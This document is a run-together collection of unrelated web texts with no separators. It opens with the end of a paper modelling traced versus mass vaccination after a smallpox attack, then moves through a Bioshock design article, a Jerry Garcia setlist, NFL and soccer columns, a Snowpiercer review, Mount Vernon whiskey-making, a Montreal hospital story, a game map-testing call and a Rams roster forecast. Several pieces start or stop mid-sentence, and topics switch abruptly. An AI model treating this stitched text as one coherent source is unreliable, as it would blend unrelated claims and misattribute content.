and MV. Also, MV eradicates the epidemic much quicker than TV, making the quarantine of unvaccinated immunosuppresseds a viable alternative under MV. Similarly, the effect of preattack vaccination (15) can be inferred from our model. Vaccinating a fraction θ of the population before an attack implies that initially a fraction θ(1 − f)ν 0 would be immune, a fraction θ(1 − f)(1 − ν 0 ) would be susceptible and unsuccessfully vaccinated, a fraction 1 − θ would be susceptible and untraced, and a tiny fraction θf would die of vaccine complications, where ν 0 is the vaccine efficacy for susceptibles (ν 0 = 0.975 in our base case). A slightly conservative (i.e., over-) estimate of the postattack fatalities using either TV or MV follows by reducing R 0 to R 0 (1 − θν 0 ) in our model. Consequently, the effect of preattack vaccination, which reduces the gap between TV and MV, can be gleaned from Fig. 2B and Fig. 3 (described below). For example, if 40% of the population undergoes preattack vaccination, R 0 effectively falls from 3 to 1.83, and the number of deaths under TV and MV are 40,000 and 440, respectively. Fig 3. Breakeven curves for the number of deaths under TV versus MV, as a function of the basic reproductive ratio R 0 and the number of people initially infected I (0). (A) An index names half of his or her contacts, and (B) an index successfully names all contacts. All other parameters are fixed at their base level (Table 1).
Comparing TV, MV, and the Interim CDC Policy. Fig. 3 shows breakeven curves, where the total number of deaths from TV and MV are equal, in terms of the initial attack size and R 0. For the base case in which index cases name half of their contacts (Fig. 3A), even if only several people are exposed in the initial attack, MV generates less deaths than TV if R 0 > 1.3, which is well below most estimates for smallpox R 0 (9). Similarly, with the optimistic assumption that index cases successfully name all contacts (Fig. 3B), MV results in fewer deaths than TV if R 0 > 2. Highly asymmetric consequences lurk behind Fig. 3: in the region where TV is favored, the number of deaths under each strategy is quite small, whereas in the region where MV is favored, TV may generate many thousands of deaths over a number of months. Moreover, if the MV vs. TV decision ever has to be made, the value of R 0 will not be known more precisely than at present, and an accurate estimate of the initial attack size may not be available (ref. 16; http://www.hopkins-biodefense.org/lessons.html). Hence, a decision maker concerned with minimizing the number of deaths in the face of this uncertainty should choose TV only if (s)he is quite certain that R 0 and the initial attack size fall in the TV-favorable region of Fig. 3. We model the CDC guidelines by switching from TV to MV 28 days (i.e., two generations, where Σ r = 14 days) after the start of TV (e.g., on day 33 in the base case). Doing so leads to 4,680 deaths and 15,570 cases over 165 days in the base case, whereas the epidemic peaks at 38 days with 11,400 persons infected. The cost of waiting to switch from TV to MV is very high—4,120 incremental deaths in our base case compared with responding with MV from the start. Consider a strategy that has two decision points: on day 5, the TV vs. MV decision is made with imprecise information about R 0 and the initial attack size, and (as in the CDC plan) on day 33 there exists an option to switch from TV to MV after R 0 and the initial attack size have been observed. In this setting, it would be optimal to initiate TV on day 5 only if the decision maker were very confident that R 0 and the initial attack size are very small.
Discussion The CDC policy is fashioned after the famed “surveillance-containment” policy widely credited with the elimination of smallpox worldwide (1, 4). Our results are not inconsistent with the historical claims for surveillance containment, for in many of the smallpox outbreaks the World Health Organization controlled, the estimated initial number of infections was low (1, 6), prior vaccination and recovered cases had already rendered a high degree of herd immunity, effectively reducing R 0 (8), and contact tracing was very accurate (high p) because of the physical layout of affected villages and the relative isolation of their inhabitants from other areas of settlement (1). The parameters describing many historical smallpox outbreaks would thus favor TV over MV, as suggested by Fig. 3B. By the same token, our breakeven curves (Fig. 3) are not inconsistent with the mass smallpox vaccination of New York City residents in 1947 in response to eight cases (2), because a large city has millions of highly mobile residents and visitors that render contact tracing difficult (low p), and because the U.S. populace may not tolerate the length of time required for TV to eradicate a small outbreak. In summary, compared with MV, TV slows the overall vaccination rate, which lengthens the time until herd immunity is reached. As a consequence, the infection continues to spread, potentially increasing the tracing/vaccination burden to the point at which significant congestion occurs. Such queuing delays further reduce the effectiveness of vaccination, for contacts are less likely to be in the vaccine-sensitive stage 1 of disease by the time they are found. Worded differently, congestion makes losing the race to trace more likely. This combination of inefficient and ineffective vaccination could also lead to quarantine overrides (because of insufficient quarantine capacity) as the number of infections continues to spread.
Conclusion We have formulated a mathematical model that, to our knowledge, is the first to capture two crucial and interrelated features for comparing TV and MV: a detailed analysis of the race to trace and the queuing caused by limited tracing and vaccination resources. Our results show that over a wide range of scenarios, MV leads to many fewer deaths than TV. Moreover, the cost in both deaths and time of delaying the switch to MV—as suggested by the interim CDC policy—is very high, particularly in light of the public clamoring for vaccination and the mass panic that would likely ensue in the event of an attack. For these reasons, given our current states of knowledge and response capabilities [e.g., there is no widely accepted screening test for smallpox (5)], we believe that unless preattack vaccination is used to significantly increase herd immunity in the population, serious consideration should be given to replacing the existing CDC policy by MV in the event of a smallpox attack in a large urban center.
Acknowledgments We thank Ellis McKenzie of the Fogarty International Center, National Institutes of Health, for initiating this project. This work was supported by the Societal Institute for the Mathematical Sciences, via Grant DA-09351 from the National Institute on Drug Abuse (E.H.K.) and a grant from the Singapore–Massachusetts Institute of Technology Alliance (L.M.W.).
Appendix Throughout, the subscript j denotes stage of infection, whereas the superscript ℓ denotes whether a person has yet to be traced (ℓ = 0) or has already been traced and vaccinated (ℓ = 1). All parameters used are defined in Table 1. The state variables are: Sℓ = number of type ℓ susceptibles; I = number of type ℓ infected persons in disease stage j (j = 1, 2, 3, 4); Q j = number in tracing/vaccination queue at disease stage j (j = 0 means susceptibles); H = number in febrile quarantine; Z = number immune (from vaccination) or recovered from smallpox; D = number dead. We also denote the total number of freely mixing infectious individuals as I 3 = I + Q 3 + I, and the total number of persons in the tracing/vaccination queues as Q = Σ Q j. Finally, define τ to be the time interval between the smallpox attack and the initiation of intervention. Whereas in the text the attack occurs at time t = 0 and the response begins at time t = τ (5 days in our base case), to ease the presentation in the equations below, we let the attack occur at time t = −τ and the response begin at time t = 0. These assumptions lead to the following ordinary differential equations. Untraced States. Disease transmission occurs in accord with the usual mass action law, whereas disease progression occurs with stage-dependent constant hazard rates. Previously untraced contacts who are named by their true index of infection and found are traced by their appropriate stage of disease accounting for their (random) time of infection by the index {[pλ j (t)] terms in Eqs. 2 and 3}. In contrast, those previously untraced contacts who are susceptible, or infected but named by someone other than their true index of infection, trace proportionately over all untraced individuals {[c − pR 0 (t)] terms in Eqs. 1–3; both functions R 0 (t) and λ j (t) will be explained further shortly}. Note that no tracing occurs before time t = 0. for j=2, 3 [3] Queueing States. Until t = 0, there is no tracing and hence no queuing. Once t > 0, note that because only n tracers/vaccinators are available, the total flow out of the queuing states can never exceed nμ per day. If the system becomes congested (more than n persons are in the queue), then those in queue in disease stage j receive service at rate nμQ j /Q, that is, the service provided is proportional to the relative numbers in queue. This explains the min(1, n/Q) in Eqs. 5–7. Disease transmission and progression continue unabated among those in the queue. Stage 3 Quarantine (Holding) State. Under CDC policy, in addition to symptomatic cases, only febrile individuals are subject to quarantine. We assume that a fraction h of infectious (stage 3) individuals are identified as febrile and are remanded to quarantine of mean duration α−1 days at the time they are processed in the vaccination queue (except for vaccine fatalities), which leads to as quarantined individuals do not contribute to disease transmission but continue to progress to smallpox. Traced but Unsuccessfully Vaccinated States. All unsuccessfully vaccinated individuals (except those in quarantine or vaccine fatalities) freely mix in the population, contributing to disease transmission, while disease progression occurs in the usual way. Immune/Recovered and Death States. Successful vaccinations occur with probability ν 0 and ν 1 for susceptibles and those in stage 1 disease, respectively, whereas the fraction 1 − δ of those who progress to symptomatic smallpox eventually recover (on average r days after development of symptoms) and remain immune. However, the fraction δ of those who develop smallpox die of the disease, whereas the fraction f of all those vaccinated die of vaccine-related complications. The Functions R 0 (t) and λ j (t). When a newly symptomatic smallpox case is discovered at time t, she will have infected on average R 0 (t) persons over her duration of infectiousness, where with the quasistationary approximation (i.e., the epidemic is viewed as fixed on a short time scale) following from the fact that persons are infectious for only 3 days on average, which is very short relative to the duration of the overall epidemic. Note that R 0 (0) = βS0(0)/r 3 = R 0, as defined in the text. Of the R 0 (t) persons previously infected by an index detected at time t, some will already have been named at random by other index cases even though no transmission occurred. The rate with which anyone in the population is randomly traced at time u ≥ 0 is given by [κ(u) = 0 otherwise]. Therefore, the expected number of untraced contacts previously infected by an index detected at time t who are in disease stage j when the index is detected is equal to where q j (t) is (approximately) the conditional probability that a contact of an index detected at time t is in stage j of disease given that the contact has not been traced by time t, and equals The justification for the approximation in Eqs. 18 and 19 is the same quasistationary argument used in Eq. 16.
Footnotes
Abbreviations CDC, Centers for Disease Control
TV, traced vaccination
MV, mass vaccination
Received May 10, 2002.The gameplay structures and visual design of Irrational’s classic shooter-adventure Bioshock was heavily influenced by the need for environmental storytelling, according to the project’s Lead Level Designer Bill Gardner.
Speaking to Gameumentary recently, Gardner explained how the creation of Rapture was a highly-iterative experience, beginning as a tropical island before moving underwater for an industrialised cityscape and finally settling on the art-deco aesthetic that permeates the final game. Throughout this process, environmental storytelling became a key factor in many design decisions with Gardner saying that the team leaned on the strengths of the concept, which were “the storytelling, and the narrative and the immersion level that the game had.” These elements helped Bioshock to stand out in a crowded market because “most shooters were… just run down a hall, blast a bunch of demons, or monsters, or aliens, or whatever, and then you move on. You don’t care about it.”
Irrational Games considered the ‘corridor shooter’ design philosophy “a waste” because it failed to make use of the unique ability of games to convey considerable amounts of information through the setting. Early builds of Bioshock contained sections that were “rip[ped] to shreds” by playtesters, with the developers realising that poor guidance and pacing were among the most notable issues. As a result, the development team “took a step back and really focused on how to sell” the fiction.
A part of the revised vision included redesigning the Splicers to appear more human and less like monsters to help convey the “psychodrama of [the fallen] character who’s roaming around the halls echoing the greatness of his heyday.” Further changes included altering the level design to give players a clear use for each new weapon and tool as soon as they were acquired, and to help readability. Gardner goes in depth about how the introductory sequence to the Big Daddies and Little Sisters was originally confusing for playtesters, before the environment was redesigned as a theatre to help guide players to the relevant information.
At forty minutes long, the full documentary (embedded below) contains an array of commentary on how Bioshock moved from a staid shooter to a watershed moment in gaming.
The team at Gameumentary, which is led by former OnlySP staff members, is currently seeking USD$22,000 on Kickstarter to fund further documentaries on a range of games including the Darksiders series, Kingdom Come: Deliverance, and Battle Chasers: Nightwar.
For all the latest news and commentary from the world of single-player gaming, be sure to bookmark OnlySP and follow us on Facebook, Twitter, and Tumblr.Jerry Garcia and Merl Saunders
Keystone
Berkeley, CA
January 19, 1973 (Friday)
Download: FLAC/MP3
This is a tagged version of shnid: 99636
Betty Cantor’s 10″ master sbd reels @ 7.5ips 1/2trk >? > CD > EAC > CDWave >
TLH (FLAC level 8).
Disc One (4 tracks, 61:42)
–Set I–
d1t01. //Dancin’ in the Moonlight [#6:07] [0:33]
d1t02. Lonely Avenue [18:24] [2:36]
d1t03. Expressway // (To Your Heart) [19:45] [3:38]
d1t04. It’s A Sin [9:11] [1:26]
Disc Two (5 tracks, 79:00)
–Set I con’t–
d2t01. The System [27:44] [2:10]
d2t02. Honey Chile [11:30] 1:43]
–Set II–
d2t03. //It Takes A Lot To Laugh, It Takes A Train To Cry [#7:25] [0:59]
d2t04. Find a Rainbow [15:10] [1:57]
d2t05. Georgia // On My Mind [10:#08] [0:12]
Disc Three (4 tracks, 26:52)
–Set II con’t–
d3t01. Tuning [1:19]
d3t02. Soul Roach [7:20] [1:01]
d3t03. Go Climb A Mountain [10:19] [0:13]
d3t04. How Sweet It Is (To Be Loved By You) [6:11] [0:28]
Lineup:
– Jerry Garcia (guitar, vocals);
– Marty David (bass);
– Merl Saunders (keyboards);
– Sara Fulcher (vocals);
– Bill Vitt (drums).
Notes:
– If you like early ’73 Garcia/Saunders, and especially Sara Fulcher’s vocal
stylings, you’ll love this. Lots of super-rare Fulcher-dominated tunes here.
This version of Lonely Avenue is top-shelf, as is Soul Roach.
– d1t01 Dancin’ in the Moonlight cuts in, significant level fluctuations.
– d1t02 Lonely Avenue is tremendous.
– d1t03 Expressway splice @ 17:49.
– d2t03 ITALTL, ITATTC cuts in.
– d2t04 after Find a Rainbow, Garcia tries to noodle into another song, but gives up.
– d2t05 Georgia on My Mind splice @ 6:21.Maybe you heard about Jarvis Landry predicting the Miami Dolphins will sweep their two regular-season games with the Patriots this year.
That’s some high-quality offseason chatter, eliciting snickers in New England and high-fives in South Florida.
What interests me more, however, is Adam Gase’s cool perspective on the rivalry. He’s the head coach, and with the July 27 opening of Dolphins training camp drawing near, that means he’s on the clock to get the messaging just right for his initial address to the team.
See if you agree that this interview Gase did a few days ago with Mike Florio of Pro Football Talk sounds like a dry run.
Asked about being stuck in the same division with the Patriots, who have won 14 of the last 16 AFC East titles, Gase said "I think this is good for us because we get to go against the best twice a year and you know exactly where you stand in the NFL.
"Last year they beat us twice and they beat us pretty handily both times. We really put ourselves in a hole and they let us know that we have a long way to go."
No need for a coach to shout or throw something against the wall when he says something like that. It’s straight to the point, and it’s a shot to the gut for any Miami player who wants to believe that making the playoffs last year made all the difference for this franchise.
Can’t imagine that Don Shula’s approach was much different in the summer of 1971.
The Dolphins at that moment were coming off a 10-4 record in his first year as their coach. Not only was that the first playoff season in franchise history, it was the first winning record, too.
The problem was what to do with the Baltimore Colts. Shula knew them better than anyone. He was the Colts’ coach for seven seasons and one Super Bowl appearance before jumping to Miami and the old AFL. He understood what had been built there, and built to last.
When the two leagues merged, the Colts and the Dolphins were thrown together in the AFC East and right away Baltimore was dominant, winning the division in 1970 and the Super Bowl, too, with the championship game played at the Orange Bowl, of all places.
So along came 1971 and another chance for Shula’s Dolphins to go against the best twice in one year and find out exactly where they stood in the NFL.
Wouldn’t you know it? Miami got three shots at Baltimore that year instead of two. A split in the regular season, sure, but the Dolphins also won the AFC East and beat the Colts 21-0 in the AFC title game. At the Orange Bowl, of all places.
Now I’m not suggesting that Gase is about to flip the New England series and wind up in the Super Bowl in his second season as Dolphins coach. It is the proper approach, though, to embrace the highest level of conflict as the ultimate benefit to his team’s development.
Look at Bill Belichick himself. His first season in New England was a 5-11 clunker. There was no monstrous Super Bowl machine of a team in the AFC East at that time, but having to play Dan Marino and a Dolphins team coached by Jimmy Johnson twice in a season couldn’t have been anyone’s dream.
Still, in 2001, Belichick’s second season there, the Patriots found their quarterback in Tom Brady and quickly measured up. They split with the Dolphins. They won the AFC East. They won the first Super Bowl in franchise history. The first of five.
Gase, 39, can’t be aiming at anything so grand as his second season approaches. He just needs to make his team truly worrisome to the Patriots. If that happens, everything else may follow, and a quirk in the schedule allows enough time for that to happen at least.
Miami and New England don’t play until Nov. 26, their latest meeting on the regular-season schedule since 2012. Just two weeks later, it’s on again, with the Patriots at Hard Rock Stadium for a Dec. 11 Monday night game.
Going against the best twice in one year? How about twice in the space of 15 days, with the Denver Broncos in between?
If Gase didn’t think he was up to that kind of challenge, he would have taken a head coaching job offer with another team, in another division, where the money would have been just as good.
He doesn’t like that message, however, and he won’t give in to it now.
Training camp is coming, and Gase means to train the Dolphins to be twice as tough on themselves as the Patriots have ever been on Miami.Uruguayan international Cristian “El Cebolla” Rodriguez was linked with MLS on Wednesday, with the Parma winger saying in a radio interview that he’s looking to leave the financially troubled Serie A club in search of playing time ahead of this summer’s Copa America.
Rodriguez, who joined Parma on loan from Atletico Madrid in January, told El Larguero radio program that the situation at Parma -- who are in major financial troubles and in real risk of moving down several divisions or even dissolving altogether -- is untenable and that he’s looking to move to the US or Brazil.
"Unfortunately the club has many problems, we are all working for free now,” he said. “I came to Parma with the intention of playing more to get ready for this summer's Copa America since I wanted to get ready. I wasn't playing much at Atletico Madrid. What is happening here is a shame, the employees haven't been paid in seven months. Some players abandoned the team because of the situation. I could find a team in the United States or Brazil for the next three or four months, this would allow me to play and find my form."
Rodriguez, 29, began his career in his native Uruguay before moving to Europe in 2005. In addition to Parma and Atletico Madrid, he’s played at Paris St. Germain and Portuguese clubs Benfica and Porto.
He has 83 career caps for Uruguay and was a part of the country’s squad at last summer’s FIFA World Cup.All rights reserved except where otherwise indicated. Linking to any content is freely allowed, and the "How to Get ANYTHING Through TSA Nude Body Scanners" video may be re-broadcast with attribution without additional permission. "Professional Troublemaker" is a registered trademark of Jonathan Corbett.Jon Corbett is a law student; not an attorney, and certainly notattorney. Nothing on this blog should be construed as legal advice or a solicitation to provide legal services. No attorney-client relationship is formed by viewing or posting content, and no duty of confidentiality (or any other duty, to the extent permitted by law) shall attach. If you suffered a legal injury, you should seek legal advice from a licensed attorney, keeping in mind that you should do so promptly as your claim may have a statute of limitations.If you support Jon's efforts to challenge government abuse of our civil rights, please consider donating to the cause.There is only one theatre within reasonable driving distance where I can go to see the smaller, limited release films that come out. On their website they list any small film as an “art film”. When I finished watching Snowpiercer this title seemed like a complete misnomer.
There is only one theatre within reasonable driving distance where I can go to see the smaller, limited release films that come out. On their website they list any small film as an “art film”. When I finished watching Snowpiercer this title seemed like a complete misnomer. Don’t let the limited release of the film fool you; this movie is action sci-fi that could have been marketed to audiences all across the country. There is enough action to satisfy the popcorn viewers and enough thought-provoking material to satisfy viewers looking for something a bit more sophisticated.
It’s a shame that just because the film was produced on a relatively small (at least compared to other action movies) budget and was made by a foreign director (this is Korean director Bong Joon-ho’s first English language film) it has not received the attention it deserves, because it is a gorgeous and all-around wonderful film that reminds us what good science-fiction can do. Sometimes the best way to reflect on modern society is to set a story in the future.
All Aboard!
Snowpiercer takes place in a post-apocalyptic future where a failed global warming experiment has resulted in an ice age that has killed nearly all of humanity. The few survivors have boarded a train (called Snowpiercer) that continually travels around the world thanks to a self-sustaining engine. Like the world before it, the train consists of the haves, who make up almost the entirety of the train with night clubs, fine food, and comfortable living quarters, and the have-nots, who are crammed in the train’s caboose with barely enough nutrition to survive and only a cramped cot for living space.
Fed up with the disparity between the two groups, Curtis (played by Chris Evans) inspires a revolution to take over the front of the train. What ensues is a car-by-car spectacle of gorgeous design, breath-taking violence, and a number of very pleasing plot twists. This video game, level-by-level design has been overdone in movies like Dredd and the The Raid series, but what Snowpiercer does to distinguish itself from those films is provide breaks in the action that brings a depth to the film that similar films have lacked. Perhaps the best way to describe the film is a combination of Dredd and Elysium if both films met their full potential.
There is a political message like that in Elysium but Bong Joon-ho doesn’t repeatedly nail you in the head with his agenda in an obnoxiously transparent way. Besides the breaks in action, Snowpiercer also benefits from absolutely stupendous set designs. This is a train with cars that range from dingy to elegant, disturbing to beautiful and more. The film would be worth seeing for the creative design all by itself. The use of light in some cars and little in others is visually stimulating, but there is a lot more than just a wonderful setting in Snowpiercer.
Staying On Track
There is never a dull moment in Snowpiercer. From the start there is always something interesting happening on screen whether it’s the unique mixture of comically designed characters like John Hurt‘s (he is missing an arm, which has been replaced with the curved handle of an umbrella, and a leg, which has been replaced by the leg of a table) who also has very touching emotional moments, Tilda Swinton putting on a tremendous performance and stealing just about every scene she’s in, or the surprise guest at the end of the movie, Snowpiercer refuses to let the viewer become disengaged.
The film is constantly introducing new characters including a security expert played by Song Kang-ho with a penchant for a toxic future drug, known as Kronol, who speaks only Korean in the film but is translated by audio via an (often muffled and hard to understand) instant translator. There is also one stand out scene featuring Alison Pill as a schoolteacher whose duty is to portray to each student that the train’s creator, Mr. Wilford, is some kind of righteous savior for all human-kind.
Snowpiercer does a great job of varying its action, as well. There are shoot ‘em up moments, giant melee battles, examples of the train brutally running through giant chunks of ice that have formed over the tracks, and a particularly cool scene where two of the characters attempt to shoot each other across almost the entirety of the train as it drives across a huge curve and they face each other for a few moments. Another great moment is when the guards, dressed in all black with an almost ninja-esque mask, turn off the lights with night-vision goggles on and the vigilante revolutionaries must fend for themselves without any light. Chris Evans brings his action experience from Captain America to great success in all of the action sequences. This action, though, is not just a black and white good |
the original distillery. They've been doing distillations twice a year (once in March, another roughly around November) since 2009, and have been selling the whiskey to visitors (the first rye whiskey sold from the distillery sold out in two hours).
Like Washington's original recipe, the whiskey they are making is predominately rye, with 65 percent of the mash composed of rye grain, 35 percent corn, and 5 percent malted barley. The grains are ground in the gristmill, then added to barrels in the distillery along with 110 gallons of boiling water. On the second day of the process, the barley is added, which converts the grains' starches into sugars. On the third day of the process, yeast is added, which eats the sugars and turns them into alcohol. Then, the mash is poured into the copper stills (which we recreated from a surviving 18th-century still displayed in the distillery's museum, on the building's second floor), where it is heated by a wood fire. As the mash mixture heats, alcohol vapor rises to the top and is funneled into a coiled pipe, which is cooled by water from a nearby creek. As the alcohol vapor cools, it condenses back to liquid, which flows out of the barrel into a container. To see how whiskey is made at Mount Vernon, check out the video below.
In Washington's day, this whiskey would be sold clear and unaged—but today (because there's a market for it), Bashore and Mount Vernon will age some of the whiskey that they distill. This year, for the first time, the distillery was also used to make Washington's peach brandy.
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Announcing Our 11th Annual Photo Contest Smithsonian.com April 8, 2014
We're Drinking Whiskey Faster Than Distillers Can Make More Rachel Nuwer May 9, 2014CTV Montreal
Construction on the MUHC superhospital is complete and now doctors, nurses, and other workers will spend the next five months preparing for patients.
Health Minister Gaetan Barrette was among those touring the facility on Friday and he called it a first-class institution.
The superhospital was finished five weeks late and $172 million over budget, which is nine percent over the total cost.
When the construction was first approved as a public-private-partnership, the government of the time promised it would not go over budget.
Now Gaetan Barrette is insisting the provincial government will not blindly pay the extra cost, but will make sure every penny of cost overruns is justified.
He did not explain what would happen to the tens of millions of dollars allegedly diverted to Arthur Porter and others accused of fraud.
Barrette also reiterated that despite MUHC officials asking for an increase in the number of medical specialists working in the facility, the number of specialists would be lower than it is today.
"It was designed that way, it will happen that way, period," said Barrette.
The first patients are expected to move into the superhospital on April 26, 2015.Seeking players for Map Testing
Posted by WasabiOne 4 years ago
Work never stops with the Community Development Team and that includes Maps. You’ll notice I use the plural there, that’s because right now we are currently in some stage of development on over five maps. We have a great team of map developers and programmers all working to make these maps the best they can be, but at the end of the day some of the most crucial feedback and adjustments come from game-play. If potential maps aren’t given the proper attention by managed games then the mappers rely too much on theory crafting and that just isn’t what we do.
What we need now is players, this mean you! The CDT is looking for players of all skill that can make a weekly set game time to play and give feedback on any number of maps. These maps can be in any stage of development from concept to grey boxed or even a fully detailed version. Below is an image of one of the new maps currently being worked on. Derelict is looking to be another great map in the collection and this could be your chance to play and help shape it before anyone else.
If this something that you want to help with please take a few moments to fill out the survey at the link below and we will contact you shortly.
With your help we will continue to expand the awesome universe of Natural Selection 2!
Survey Link: http://tinyurl.com/ns2mtlink
Please enable JavaScript to view the comments powered by Vanilla.Rams football is finally back…in some capacity at least. We are seeing pictures of Jared Goff and Sean McVay working together on the field which only excites us for the 2017 season. However, let’s not pretend that we don’t enjoy hearing about all of the camp battles that go on through training camp and the pre-season. It may be early, but here is my prediction for the Rams 2017 day one 53-man roster.
Quarterback (2): Jared Goff, Sean Mannion
Last year the Rams kept three quarterbacks on the roster, but that was because they had a rookie QB they drafted No.1 overall that wasn’t quite ready for day one. Now, that QB Jared Goff is going to be the unanimous starter for the Rams, the starting QB at the beginning of last year left in free agency and the Rams still have a backup QB in Sean Mannion who has barely seen in the field, but still remains as a 2015 third round draft pick.
The Rams signed Aaron Murray who is better than just a camp arm, but with the amount of depth the Rams have, there is no way the Rams can afford to keep three quarterbacks. Matt Davis is a UDFA camp arm the Rams picked up that offers mobility to the mix, since he is a year removed from his torn ACL, he might be a practice squad developmental QB.
Cut: Aaron Murray, Matt Davis
Running back (3): Todd Gurley, Malcolm Brown, Lance Dunbar
Going into the running back position and there is another unanimous starter and that is Todd Gurley. Gurley has struggled quite a bit as of late and now with the updated offensive line there shouldn’t be too many excuses for him this season. Malcolm Brown had a limited role last year as a former UDFA that beat the odds and made the roster a couple of years ago. Brown brings power and balanced ball-carrying to the mix to spell Gurley in the goal line situations or just a third down breather.
Over the free agency period the Rams gave a one-year three million dollar deal to Lance Dunbar to fill the “Chris Thompson role”. There is no way the Rams cut him so that leaves in my mind one running spot…on the practice squad. I believe it’s between Justin Davis (signed by the new regime) against Aaron Green (only limited connection to new regime). I am willing to bet Davis will end up winning the battle. With newly drafted FB Sam Rogers, I don’t see a need to keep four running backs. There are too many players that you would be sacrificing for a slot that isn’t a need.
Cut: Aaron Green, Lenard Tillery, Justin Davis
Fullback (1): Sam Rogers
The Rams shocked some people and took a fullback in the sixth round of the NFL draft. While many believe the FB position is dying in the NFL, Rogers brings multiple things to the table that would lead us to believe he’s more than a fullback. Rogers is reportedly battling Zach Laskey who has been all around the Rams since 2015 either being on the off-season roster, waived injured or being signed to the practice squad. I believe with Rogers having the sixth round title on his name he is likely to win this job easily, but Rogers is also going to earn it as well. This may be the last of Laskey if he is unable to upset Rogers in this camp battle.
Cut: Zach Laskey
Wide receiver (6): Robert Woods, Cooper Kupp, Tavon Austin, Josh Reynolds, Pharoh Cooper, Mike Thomas
This is likely the toughest position to predict once you get past the starters. I believe as thought the starting wide receivers will be free agent acquisition Robert Woods and third round pick Cooper Kupp. After that I think Tavon Austin maintains the slot receiver role and then a pair of fourth round picks Josh Reynolds this year and Pharoh Cooper of last year make the roster. The last receiver to make the roster I believe will be former sixth round pick and likely future special teams ace Mike Thomas.
The Rams may not have any all-pro level talents on their roster, but to narrow it down to six is going to be difficult. UDFAs Marquez, Spruce, McRoberts and North all have interesting upside and likely one of two will be put on the practice squad (except Marquez who is ineligible). I believe as though if I could pick the last player to make the roster I would go with McRoberts over Thomas, but with the way Thomas showed off on special teams last year as a gunner, it seems unlikely the Rams let him go.
Cut: Bradley Marquez, Nelson Spruce, Paul McRoberts, Brandon Shippen, Marquez North, Jeremy Tabuyo
Tight ends (3): Tyler Higbee, Gerald Everett, Temarrick Hemingway
The Rams have added three tight ends by way of the NFL Draft in back-to-back seasons, these players appear to be the only that will make the 53-man roster in my opinion. I feel as though any chance Cory Harkey had was lost when the Rams drafted Sam Rogers who will be able to play that FB role Harkey had. Gerald Everett is set to assume the Jordan Reed role, but I feel as though this will be Higbee’s season to shine. Also, expect Temarrick Hemingway to make significant strides in year two.
There are some interesting options at tight end in Travis Wilson and Johnny Mundt who are guys to definitely keep an eye on. I ultimately think that those are the two that could both end up on the practice squad. Bryce Williams, who was a practice squad player last year was waived, so it appears likely one of these two if not both will be on the practice squad. Mundt has his own story as a former top prospect turned into the forgotten man due to injury versus Wilson who is literally a former QB that played in the same conference in college as Mundt.
Cut: Cory Harkey, Johnny Mundt, Travis Wilson
Offensive line (10): Andrew Whitworth, Rodger Saffold, John Sullivan, Rob Havenstein, Greg Robinson, Andrew Donnal, Jamon Brown, Cody Wichmann, Demetrius Rhaney, Pace Murphy
The starters on the offensive line are set from left to right: Andrew Whitworth, Rodger Saffold, John Sullivan, Rob Havenstein and Greg Robinson. That’s five of the nine, I believe that the 2015 draftees on the line will all make the roster. I think the Rams will choose to go with multiple guard/center hybrids then reach to keep multiple tackles. I also believe Andrew Donnal can play tackle if need be, the Rams have Robinson, Havenstein and Saffold that can all fill in at LT if god forbid Whitworth goes down. With Robinson it would be fairly simple, Havenstein would likely go back to RT and Jamon Brown would fill in at RG.
I think there are some intriguing options in Anthony McMeans, Jake Eldrenkamp and Kwayde Miller, but I ultimately believe that the Rams will only keep ten and with that being said keep those ten. I think Eldrenkamp and McMeans would likely find themselves on the practice squad.
Cut: Darrell Williams, Kwayde Miller, Jake Eldrenkamp, Anthony McMeans, Alex Kozan
Defensive line (5): Aaron Donald, Michael Brockers, Dominique Easley, Tanzel Smart, Mike Purcell
With the new defensive scheme coming to the Rams it is likely to phase out some “tweeners” on the team from last year such as Morgan Fox who is a good football player but isn’t big enough to play on the line in a 3-4 and is not fast enough to play at linebacker either. The obvious ones are our presumed three man starting front with Aaron Donald, Michael Brockers and Dominique Easley. Next in line? The sixth round pick Tanzel Smart who can instantly come in and be a one-gap penetrating rotational interior lineman. I only ended up keeping five on the defensive line and decided to go with Mike Purcell who is both younger and likely just as good as Rams free agent signee Tyrunn Walker. Walker’s contract is easy to shed and Purcell gives the Rams flexibility if they find him useful enough he is a restricted free agent next year.
I already mentioned Fox and Walker but UDFAs Casey Sayles, Dimitrius Smith and Louis Trinca-Pasat I feel all have a good chance as a possible practice squad additions. The man that is known as LTP to some tore both his ACL and MCL last year in camp and will likely be back with a vengeance. I think he is a real dark horse to make the roster, but as it stands now is how I see it shaking out, come post-training camp.
Cut: Louis Trinca-Pasat, Casey Sayles, Morgan Fox, Dimitrius Smith, Tyrunn Walker
Linebackers (10): Alec Ogletree, Mark Barron, Josh Forrest, Robert Quinn, Connor Barwin, Samson Ebukam, Ejuan Price, Cory Littleton, Carlos Thompson, Ethan Westbrooks
I know what you’re thinking…10 linebackers? Yes, as a matter of fact most 3-4 defenses keep 10 total linebackers on tap. The obvious ones include my projected starters Alec Ogletree, Mark Barron, Robert Quinn and Connor Barwin. I felt as though the Rams had some tough decisions…or rather have some tough decisions ahead of them. Rams rookie of the year Cory Littleton gets the nod, Carlos Thompson with the connection to Wade Phillips gets him on the roster as well, Ethan Westbrooks has just shown way too much previously to let him go now, Samson Ebukam and Ejuan Price are locks in my opinion and Josh Forrest is a former sixth round pick that has had his head coach talk him up early on.
Following off with the rest of the linebackers that don’t quite make the 53, Bryce Hager who is a former seventh round pick in his own right and has actually shown some real improvement. Hager is the most likely out of this group to sneak into the roster, especially with his special teams play. After Hager you have Grigsby who actually was on the 53 man roster last season then the rest in which I see Folarin Orimolade as a potential dark horse if he can get the playing time he could challenge Ebukam, Price in preaseason. Overall, I believe Orimolade has the best chance to be on the practice squad.
Cut: Bryce Hager, Reggie Northrup, Cassanova McKinzy, Kevin Davis, Nicholas Grigsby, Folarin Orimolade, Matt Longacre
Cornerbacks (5): Trumaine Johnson, Kayvon Webster, Nickell Robey-Coleman, E.J. Gaines, Mike Jordan, Troy Hill*(SUSP)
Five cornerbacks are being kept and it’s basically like seven when you factor in that LaMarcus Joyner and John Johnson can both play the corner position. Early on I know the talks are that Webster will battle Gaines for the starting role next to Johnson, but it is clear as day that Webster is going to start. Webster knew he was going to start which is ultimately why he chose the Rams over the Eagles. The Rams had his old coach in Phillips and a chance to start next to a great corner and on a great defense, while the Eagles had a starting job open next to an average corner. The Rams brought in Nickell Robey-Coleman who gave their team fits last season and he’s a player that likely is the nickel corner when Joyner is playing safety. Last pick I had was Mike Jordan, someone I feel as though has a chance to be a real good corner. He’s a bigger physical guy than his competition and I bet Phillips notices that early on.
